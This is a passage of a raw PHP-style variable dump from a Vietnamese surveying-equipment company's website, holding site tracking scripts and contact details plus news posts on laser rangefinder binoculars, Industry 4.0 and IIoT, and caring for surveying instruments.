type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ) $description_for_layout = '' $keywords_for_layout = '' $tintucnoibat = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-10', 'status' => '1', 'view' => '89284', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thử thách liên quan đến việc triển khai công nghiệp 4.0?</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0 2(1).jpg" style="width: 276px; height: 182px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">Triển khai công nghiệp 4.0 cũng có thể sẽ gặp phải các khó khăn sau:</span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Vấn đề bảo mật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Toàn bộ dữ liệu đều có sẵn , truyền qua Internet đến thiết bị từ xa. Điều này cho thấy dữ liệu rất có nguy cơ bị xâm phạm bảo mật, ăn cắp và thao tác.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Kiến thức sản xuất độc quyền, nếu bị xâm nhập, sẽ có thể dẫn đến thiệt hại lớn đến doanh thu của công ty.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Tin tưởng và ổn định</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu thông tin liên lạc nhận được qua cảm biến IoT không được sắp xếp hoặc không đúng lúc sẽ được xem là không đáng tin cậy. Rõ rang, bạn không thể tự động hóa một nhà máy hoạt động dựa trên dữ liệu không đáng tin cậy. Việc duy trì sự toàn vẹn quy trình sản xuất trong khi giảm thiểu sự can thiệp của con người rất phức tạp</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Thiết lập kết nối</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Chúng ta gần như không thể đảm bảo kết nối internet 100%. Kể cả khi mạng không có khả năng bị hỏng bất ngờ, bạn vẫn sẽ cần tính đến việc bảo trì máy chủ. Rất khó để đảm bảo không mất dữ liệu ngay cả khi kết nối cực hạn hoặc bùng phát đột ngột.</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Phối hợp hệ thống cũ với IIoT</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống cũ không được thiết kế để tuân thủ các yêu cầu của công nghệ cảm biến. Nhưng hiện đại hóa toàn bộ cơ sở hạ tầng là không khả khi đối với phần lớn các nhà sản xuất. Vì vậy, đòi hỏi phải phối hợp IIoT với hệ thống máy móc cũ để đảm bảo ROI tốt nhất với sự đầu tư của nhà sản xuất.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ngoài nhứng thách thức trên, nhà sản xuất cũng phải đối mặt với các vấn đề từ nhà đầu tư, đội ngũ kỹ thuật nội bộ. Các nhà đầu tư khá miễn cưỡng với các cuộc cách mạng quy mô lớn. Đồng thời, năng lực IT có sẵn không thường xuyên được cập nhật để xử lý những thách thức này. Dữ liệu nghiên cứu thị trường và xu hướng chuyển đổi kỹ thuật số đã mở ra cái nhìn mới cho nhà đầu tư. Hạn chế về năng lực kỹ thuật vẫn sẽ là mối quan tâm chung khi triển khai bất kỳ IIoT.</span></span></p> ', 'images' => '201905200812307bda1a1c4b780f467d4ece9a47eb5c1b.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-20', 'modified' => '2025-08-10', 'status' => '1', 'view' => '62998', 'slug' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '941', 'rght' => '942', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn 